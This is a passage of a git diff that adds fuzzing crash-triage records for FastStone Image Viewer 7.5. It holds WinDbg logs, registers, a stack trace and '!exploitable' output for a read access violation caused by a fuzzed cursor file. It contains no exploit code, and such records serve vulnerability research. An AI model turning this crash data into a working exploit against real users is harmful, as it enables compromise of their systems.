+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b946113 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/14412/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..77b8db5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f10515e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fac.1f78): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e17b10 edx=00003879 esi=fe630010 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.105319000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.6046e-016 5.13103e+021 -1.68943e+014 8.06409e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ec000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ec000 9815257b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ec000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f10515e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16249/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fac.1f78): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e17b10 edx=00003879 esi=fe630010 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.105319000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.6046e-016 5.13103e+021 -1.68943e+014 8.06409e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ec000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ec000 9815257b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ec000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE 